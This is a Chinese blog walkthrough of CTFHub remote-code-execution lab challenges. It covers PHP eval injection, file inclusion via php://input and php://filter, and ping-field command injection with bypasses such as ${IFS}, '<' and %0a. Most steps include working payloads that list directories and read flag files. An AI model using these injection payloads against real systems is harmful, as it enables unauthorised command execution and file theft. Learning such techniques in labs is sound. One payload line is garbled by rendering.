CTFHUB之RCE(特详解)

CTFHUB之RCE

1.eval执行

1.先看一下靶机环境

在这里插入图片描述

2.先看一下php代码,这里要求将命令赋值给cmd然后执行

先看一下根目录文件/?cmd=system(“ls”);

这里的分号不能省略

在这里插入图片描述

没有有用的文件。查看上一级的文件夹/?cmd=system(“ls %20/”);

在这里插入图片描述

3.这里在进行抓取flag片段/?cmd=system(“cat%20/flag_29475”);

在这里插入图片描述

2.文件包含

1.先看靶机环境,点击shell会出现以下的页面,然后使用火狐的hackbar来进行postdata的注入,这个如上,

这里先查看上个目录

在这里插入图片描述

2.上个目录没有得到想要的,查看上个目录。

在这里插入图片描述

3.查看flag

在这里插入图片描述

php://input

这里先了解一下php://input

php://用来访问各个输入/输出流

php://input是个可以访问请求的原始数据的只读流,可以接收post请求作为输入流的输入,将请求作为PHP代码输入,以达到以post的形式进行输入的目的

1.开始做题,先看一眼靶机环境

在这里插入图片描述

2.点击phpinfo查看配置

在这里插入图片描述

发现这个的开关是开的,说明可以使用php://input

3.使用bp抓包,放到重发器中

在这里插入图片描述

4.这里修改发送方法为post,目标修改为/?file=php://input

将body换成<?php system('ls /');?>查看上一级文件

在这里插入图片描述

5.这里修改body为

<?php system('cat /flag_23020');?> 访问flag

在这里插入图片描述

远程包含

1.先查看靶机环境
在这里插入图片描述

2.查看配置文件,发现能够使用php://input

在这里插入图片描述

3.构造payload,查看上一级文件

在这里插入图片描述

4.查看flag

在这里插入图片描述

读取源代码

1.这里照常使用构造payload来访问上一级文件

在这里插入图片描述

发现没有反应

2.这里了解一下php://filter

php://filter是一种元封装器,设计用来数据流打开是的筛选过滤应用。这对于一体式的文件函数非常有用。

php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。

这里可以使用filter将源代码通过base64回显

payload

http://URL/?file=php://filter/read=convert.base64-encode/resource=…/…/…/flag

在这里插入图片描述

3.找在线解码

在这里插入图片描述

命令注入

1.题目提示这个是测试网络延迟的平台,路由器中会经常出现。

打开题目后输入127.0.0.1

这里需要了解一下linux中命令的链接符号

1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。

4.| 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。

5.& 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件

127.0.0.1 & ls

在这里插入图片描述

127.0.0.1 & cat 2837021164864.php

在这里插入图片描述

发现打不开PHP文件

这里用管道符来进行base64解密、

127.0.0.1 & cat 2837021164864.php | base64

在这里插入图片描述

进行解码

在这里插入图片描述

过滤cat

根据题目提示这里过滤了cat

在这里插入图片描述

1.这里直接访问上一个目录

在这里插入图片描述

2.这里找到了flag所在的文件位置,这里过滤了cat,无法使用cat,这里补充一下

linux查看文本的命令

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
这里我使用的是more来查看文件

127.0.0.1 & more flag_31842143531286.php | base64来进行解码

在这里插入图片描述

3.解码找flag

在这里插入图片描述

过滤空格

这里查看源代码,发现过滤了空格

在这里插入图片描述

1.先查看上级文件 127.0.0.1&ls

在这里插入图片描述

2.这里可以通过<来代替空格127.0.0.1&cat<flag|base64

在这里插入图片描述

3.解码

在这里插入图片描述

过滤目录分隔符

1.先查看源代码,然后试着查看上一级的文件,127.0.0.1;ls,发现了flag_is_here.再查看上一级的文件。12.0.0.1;cd flag_is_here;ls

在这里插入图片描述

2.查看存放flag的文件

12.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64

在这里插入图片描述

3.解码

在这里插入图片描述

过滤运算符

这里先查看一下源代码,过滤了运算符,无法使用| base64

在这里插入图片描述

1.这里先查看上一级文件 127.0.0.1;ls

在这里插入图片描述

2.这里可以这样输入12.0.0.1 ; base64 flag_27475302269053.php

在这里插入图片描述

3.解码

在这里插入图片描述

综合过滤练习

查看源代码,过滤了| & ; cat flag ctfhub 空格
在这里插入图片描述

空格可以用${IFS}

cat可以用more f

lag可以用正则f***

ctfhub应该用不到 查了一下,

在linux下,命令分隔符除了;还有%0a

有了;就可以不用运算符了

这里因为%0a是url编码,所以要输入到url中,否则会被二次编码

在url输入?ip=127.0.0.1%0als#查看上一级文件

在这里插入图片描述

查看flag_is_here

?ip=127.0.0.1%0acd[]{IFS}f***_is_here[]{IFS}%0als这里因为$存在显示问题所以用[]代替
在这里插入图片描述

查看flag文件

?ip=127.0.0.1%0acd[]{IFS}f***_is_here[]{IFS}%0abase64 I F S f ∗ ∗ ∗ ∗ ∗ 2 46102198712264. p h p 这 里 和 上 面 一 样 用 [ ] 代 替 了 {IFS}f_*****_246102198712264.php 这里和上面一样用[]代替了 IFSf246102198712264.php[]
在这里插入图片描述

解码

在这里插入图片描述

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小宇特详解

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值